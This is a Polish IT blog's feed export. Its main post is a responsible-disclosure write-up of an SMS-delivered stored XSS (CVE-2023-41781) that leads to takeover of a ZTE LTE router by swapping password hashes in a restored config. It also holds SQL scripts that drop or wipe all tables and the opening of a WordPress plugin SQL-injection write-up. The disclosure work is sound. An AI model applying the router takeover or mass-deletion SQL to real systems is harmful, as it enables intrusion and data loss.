tag:blogger.com,1999:blog-20289680449825114942024-03-13T02:09:59.152+01:00Linux, Programowanie, CyberSecurityBlog zawiera różne porady, sztuczki dotyczące IT(Linux, Programowanie, CyberSecurity). Blog powstał głównie po to by pomagać mi w przypadkach, gdy pamięc zawodzi, ale czemu inni nie mieliby skorzystać ?coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.comBlogger51125tag:blogger.com,1999:blog-2028968044982511494.post-45060021258316651232024-03-03T09:52:00.005+01:002024-03-03T10:08:10.637+01:00How to hack a LTE Router? Just text it! <h3 class="graf graf--h3" name="a49a">How to hack a LTE Router? Just text it!</h3><figure class="graf graf--figure" name="cd89"><img class="graf-image" data-height="1024" data-image-id="1*c-m4K08d0Uzq40c17d_1xg.jpeg" data-is-featured="true" data-width="1024" src="https://cdn-images-1.medium.com/max/800/1*c-m4K08d0Uzq40c17d_1xg.jpeg" /></figure><p class="graf graf--p" name="45cc">The ZTE MF258 router can be taken over by an unauthenticated user through an SMS payload.</p><p class="graf graf--p" name="7182">LTE routers are equipped with SIM cards and phone numbers, allowing for the sending and receiving of SMS messages. During my testing, I discovered a vulnerability in which unauthenticated Stored XSS could occur by sending certain text messages to the router. I reported this bug to ZTE and it has been registered as CVE-2023–41781.</p><p class="graf graf--p" name="7673">The following firmware versions are vulnerable:<br />1) ZTE_STD_V1.0.0B10<br />2) ZTE_STD_V1.0.0B08</p><h3 class="graf graf--h3" name="a69b">Exploitation</h3><p class="graf graf--p" name="0315">is a straightforward process…</p><h3 class="graf graf--h3" name="6f65">Prerequisites</h3><p class="graf graf--p" name="8e90">This vulnerability can be exploited without authentication.<br />All that is required is a phone (router) number and for the user to take action by reading new SMS messages through the Web Interface (as shown in picture 1).</p><h4 class="graf graf--h4" name="aa0c">Vulnerability</h4><p class="graf graf--p" name="8dd6">The table view displaying received SMS messages (picture 1) is vulnerable.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="922" data-image-id="1*ULiVgeoQ1vwdYioIOcfBog.png" data-width="1914" src="https://cdn-images-1.medium.com/max/800/1*ULiVgeoQ1vwdYioIOcfBog.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">1. Vulnerable view — list of received messages</td></tr></tbody></table><figure class="graf graf--figure" name="9e8f"><figcaption class="imageCaption"></figcaption></figure><p class="graf graf--p" name="65db">As no escaping has been added to the SMS content column, exploitation is quite easy. I only had to overcome two obstacles:</p><ol class="postList"><li class="graf graf--li" name="47a6">the displayed message’s content is limited to 35 characters (as shown in picture 2),</li><li class="graf graf--li" name="cc44">newer message is displayed on the top (as shown in picture 3).</li></ol><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="357" data-image-id="1*yOSUz-o6XLrPxNvOG6VDpA.png" data-width="1363" src="https://cdn-images-1.medium.com/max/800/1*yOSUz-o6XLrPxNvOG6VDpA.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">2. First obstacle — 35 characters limit per message</td></tr></tbody></table><figure class="graf graf--figure" name="30d3"></figure><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="681" data-image-id="1*cR7Oi_J2HsZN88Wg4PC7Tg.png" data-width="1272" src="https://cdn-images-1.medium.com/max/800/1*cR7Oi_J2HsZN88Wg4PC7Tg.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">3. Second obstacle — reversed order of messages</td></tr></tbody></table><figure class="graf graf--figure" name="c156"></figure><p class="graf graf--p" name="0182">Due to the aforementioned characteristics, I had to take the following<br />actions:</p><ol class="postList"><li class="graf graf--li" name="588a">split the payload into several messages,</li><li class="graf graf--li" name="3e3b">store it in a variable,</li><li class="graf graf--li" name="40be">for long payloads, load an external script,</li><li class="graf graf--li" name="8b0f">execute it with <b class="markup--strong markup--li-strong"><i class="markup--em markup--li-em">eval</i></b> function,</li><li class="graf graf--li" name="175f">send payload in reversed order.</li></ol><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="397" data-image-id="1*dI2D3pXe7_VBd1i6WInnaQ.png" data-width="1300" src="https://cdn-images-1.medium.com/max/800/1*dI2D3pXe7_VBd1i6WInnaQ.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">4. On left — prepared “alert” payload in natural order, on right — “alert” payload in reserved order</td></tr></tbody></table><figure class="graf graf--figure" name="1eff"></figure><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="131" data-image-id="1*2fjfouQqLjL4v5uoUew0KA.png" data-width="450" src="https://cdn-images-1.medium.com/max/800/1*2fjfouQqLjL4v5uoUew0KA.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">5. Payload to load external script in reversed order</td></tr></tbody></table><figure class="graf graf--figure" name="56ab"></figure><h4 class="graf graf--h4" name="17d4">Impact</h4><p class="graf graf--p" name="c954">By exploiting this vulnerability, I was able to take control of the router. The method used will be explained in the next chapter.</p><h3 class="graf graf--h3" name="aa97">Backup and restore configuration</h3><p class="graf graf--p" name="d232">While it is not possible to change the admin password without knowledge of the current password (as shown in picture 6), it is possible to modify the current device configuration using the ‘download and restore backup configuration’ function (as shown in picture 7).</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="676" data-image-id="1*ZHOx5Z51E4waKkw0G3kn8g.png" data-width="1917" src="https://cdn-images-1.medium.com/max/800/1*ZHOx5Z51E4waKkw0G3kn8g.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">6. Change password view</td></tr></tbody></table><figure class="graf graf--figure" name="c259"></figure><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="919" data-image-id="1*Nx-XRN59kreNuBWnP59l2w.png" data-width="1917" src="https://cdn-images-1.medium.com/max/800/1*Nx-XRN59kreNuBWnP59l2w.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">7. Backup and restore configuration view</td></tr></tbody></table><figure class="graf graf--figure" name="71e0"></figure><p class="graf graf--p" name="233f">Restoring configuration functionality also restores users and passwords, for Web Panel and SSH. It is important to note that this process does not require any additional authentication or knowledge of the current admin credentials.</p><p class="graf graf--p" name="39ea">The configuration file may appear to be a binary file, but it is actually a simple <b class="markup--strong markup--p-strong"><i class="markup--em markup--p-em">tar.gz</i></b> archive. To extract the configuration, follow below steps (shown also in picture 8):</p><p class="graf graf--p" name="7664">1) rename config.cfg file to config.gz,</p><p class="graf graf--p" name="1808">2) extract archive with</p><blockquote class="graf graf--blockquote" name="292e"><blockquote>gzid -d config.gz</blockquote></blockquote><p class="graf graf--p" name="bbe6">3) use the following command to extract the contents of the tar archive:</p><blockquote class="graf graf--blockquote" name="9957"><blockquote>tar -xf config</blockquote></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="669" data-image-id="1*hZuXkmjmFWdeZ7i3WmxYZA.png" data-width="1507" src="https://cdn-images-1.medium.com/max/800/1*hZuXkmjmFWdeZ7i3WmxYZA.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">8. Extracting device configuration</td></tr></tbody></table><figure class="graf graf--figure" name="a839"></figure><h4 class="graf graf--h4" name="1aac">/etc — SSH access to router</h4><p class="graf graf--p" name="f368">There are two interesting files located in the ‘etc’ folder (see picture 9).</p><ol class="postList"><li class="graf graf--li" name="9b18">shadow (contains passwords)</li><li class="graf graf--li" name="3445">passwd (contains users definitions)</li></ol><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="514" data-image-id="1*8DPaDXgdR5dDrs8ZkZAndg.png" data-width="1496" src="https://cdn-images-1.medium.com/max/800/1*8DPaDXgdR5dDrs8ZkZAndg.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">9. Structure of etc directory and 2 files — passwd and shadow</td></tr></tbody></table><figure class="graf graf--figure" name="2835"></figure><p class="graf graf--p" name="8439">The first line of the shadow file contains the root password hash, which consists of two parts:</p><ol class="postList"><li class="graf graf--li" name="aa27">N1FL.GjU — salt,</li><li class="graf graf--li" name="43cf">hidden (red color) — password hashed in MD5.</li></ol><p class="graf graf--p" name="fdea">The root password can be changed to a password of our choice. An example is presented in picture 10.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="450" data-image-id="1*_bydt-il0QOJ59lRYaLA-w.png" data-width="1492" src="https://cdn-images-1.medium.com/max/800/1*_bydt-il0QOJ59lRYaLA-w.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">10. How to generate new password hash</td></tr></tbody></table><figure class="graf graf--figure" name="f3b2"></figure><h4 class="graf graf--h4" name="ad7a">/www — web panel configuration</h4><p class="graf graf--p" name="6a7f">Web configuration is a bit easier and contains only one file auth.txt with few lines.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="520" data-image-id="1*Q3PwEX4DDYgAjUXFJ5aLkw.png" data-width="1495" src="https://cdn-images-1.medium.com/max/800/1*Q3PwEX4DDYgAjUXFJ5aLkw.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">11. Web auth configuration</td></tr></tbody></table><figure class="graf graf--figure" name="3b71"></figure><p class="graf graf--p" name="3351">Changing passwords over here is similar to the <b class="markup--strong markup--p-strong"><i class="markup--em markup--p-em">/etc</i></b> directory.</p><h3 class="graf graf--h3" name="bcc8">Full vulnerability timeline:</h3><ol class="postList"><li class="graf graf--li" name="4cdc">29th May 2023 —I discovered that the SMS tab was vulnerable and successfully executed an attack,</li><li class="graf graf--li" name="ee22">30th May 2023 — I reported the issue to ZTE Corporation, however, despite my efforts, no action was taken by ZTE and the only response I received was that the product was excluded from the bug bounty program,</li><li class="graf graf--li" name="8fd9">9th September 2023 — I decided to report the issue to CERT Poland,</li><li class="graf graf--li" name="d004">10th September 2023 — Fortunately, CERT Polska took immediate action and pushed ZTE Corporation to fix the issue,</li><li class="graf graf--li" name="9b32">11th September 2023 — ZTE promised to fix the issue as soon as possible,</li><li class="graf graf--li" name="aab4">January 2024 — a patched firmware release and FOTA update began,</li><li class="graf graf--li" name="6d23">10th January 2024 — ZTE Corporation conducted a disclosure in security bulletins and CVE database,</li><li class="graf graf--li" name="d728">11th February 2024 — full information with PoC became available,</li><li class="graf graf--li" name="3685">19th February 2024 — my device was upgraded to the new, patched firmware version ZTE_STD_V1.0.0B11.</li></ol><h3 class="graf graf--h3" name="03d2">ZTE Security bulletin & CVE Mitre</h3><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="899" data-image-id="1*5lI5uKItOgwg8qwtm8AzYA.jpeg" data-width="1047" src="https://cdn-images-1.medium.com/max/800/1*5lI5uKItOgwg8qwtm8AzYA.jpeg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">12. ZTE Security Builetin</td></tr></tbody></table><figure class="graf graf--figure" name="6c9b"></figure><p class="graf graf--p" name="b2ca">ZTE Security Bulletins: <a class="markup--anchor markup--p-anchor" data-href="https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1034684" href="https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1034684" rel="noopener" target="_blank">https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1034684</a></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><img class="graf-image" data-height="963" data-image-id="1*IRcKB1TW6M9P57pZZ5BPlQ.png" data-width="1915" src="https://cdn-images-1.medium.com/max/800/1*IRcKB1TW6M9P57pZZ5BPlQ.png" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;">13. CVE Mitre record</td></tr></tbody></table><figure class="graf graf--figure" name="3b5d"></figure><p class="graf graf--p" name="28c8">CVE details: <a class="markup--anchor markup--p-anchor" data-href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41781" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41781" rel="noopener" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41781</a></p><h3 class="graf graf--h3" name="6134">Bounty and reward</h3><p class="graf graf--p" name="f4c2">There was no reward (other than joy and good humor) for the time spent on the study and report.</p><p class="graf graf--p" name="6d3a">#cve #cybersecurity #zte #xss #hack #bugbounty</p>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-13789804688611590882022-02-25T09:10:00.005+01:002022-02-25T09:11:24.169+01:00Przydatne skrypty w MS SQL Server dla platformy Azure<p> Jak przygotować skrypt, który wyłączy "Constrainty" w MS SQL Azure: <br /><br /><br /> SELECT 'ALTER TABLE [' + s.name + '].[' + o.name + '] NOCHECK CONSTRAINT ' + i.name AS a<br /> FROM sys.foreign_keys i<br /> INNER JOIN sys.objects o ON i.parent_object_id = o.OBJECT_ID<br /> INNER JOIN sys.schemas s ON o.schema_id = s.schema_id<br /><br />Jak przygotować skrypt, który wycziści wszystkie tabele, po tym jak wyłączysz "Constrainty" w MS SQL Azure: <br /><br /> SELECT DISTINCT 'DELETE FROM [' + t.name + '] ' AS a<br /> FROM sys.tables t<br /> WHERE t.name <> 'appusers' AND t.name <> 'flyway_schema_history';<br /><br />Jak przygotować skrypt, który włączy "Constrainty" w MS SQL Azure: <br /><br /> SELECT 'ALTER TABLE [' + s.name + '].[' + o.name + '] CHECK CONSTRAINT ' + i.name AS a<br /> FROM sys.foreign_keys i<br /> INNER JOIN sys.objects o ON i.parent_object_id = o.OBJECT_ID<br /> INNER JOIN sys.schemas s ON o.schema_id = s.schema_id<br /><br />Jak przygotować skrypt, który skasuje wszystkie tabele w MS SQL Azure:<br /><br /> SELECT DISTINCT 'DROP TABLE IF EXISTS [' + t.name + '] ' AS a<br /> FROM sys.tables t<br /><br />Jak przygotować skrypt, który wyczyści wszystkie tabele w MS SQL Azure:<br /><br /> SELECT DISTINCT 'TRUNCATE TABLE [' + t.name + '] ' AS a<br /> FROM sys.tables t<br /> WHERE t.name <> 'appusers';<br /><br /></p><p> </p><p> </p><p>Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: pointer; float: left; height: 70px; margin: 0px 10px 10px 0px; width: 100px;" /></a></p>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-59261273251554523082015-02-12T20:26:00.000+01:002015-02-27T14:22:03.964+01:00WordPress -> SQL Injection poprzez plugin Webdorado SpiderCalendar <div style="line-height: 115%; margin-bottom: 0.35cm;">
W zeszłym roku
<a href="http://mateusz-lach.blogspot.com/2014/01/wordpress-form-maker-165-xss.html" target="_blank">sprawdziłem</a> jakość kodu oraz poprawność przetwarzania danych
wejściowych przez plugin „Form Maker” przygotowany przez wydawcę
Webdorado. Tym razem postanowiłem sprawdzić czy autor poprawił
jakoś kodu swoich produktów. Należy tutaj nadmienić, że poza
wersjami darmowymi opartymi na licencji GNU/GPLv2 oferuje on również
wersję płatne z dodatkowymi szablonami. Tym razem postaram się
opisać wszelkie przeszkody, które musiałem pokonać aby <b>n</b>apisać
działającego exploita. Zacząłem zabawę tak, że program był
dla mnie black-boxem, ale niestety skończyło się na przejrzeniu
kodu. Zapraszam do lektury.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Poniżej można
zobaczyć jeden z widoków częściowych kalendarza, który domyślnie
jest wywoływany z JavaScriptu jako XHR, można jednak go z
powodzeniem otworzyć w przeglądarce jako widok główny:</div>
<img alt="" height="192" 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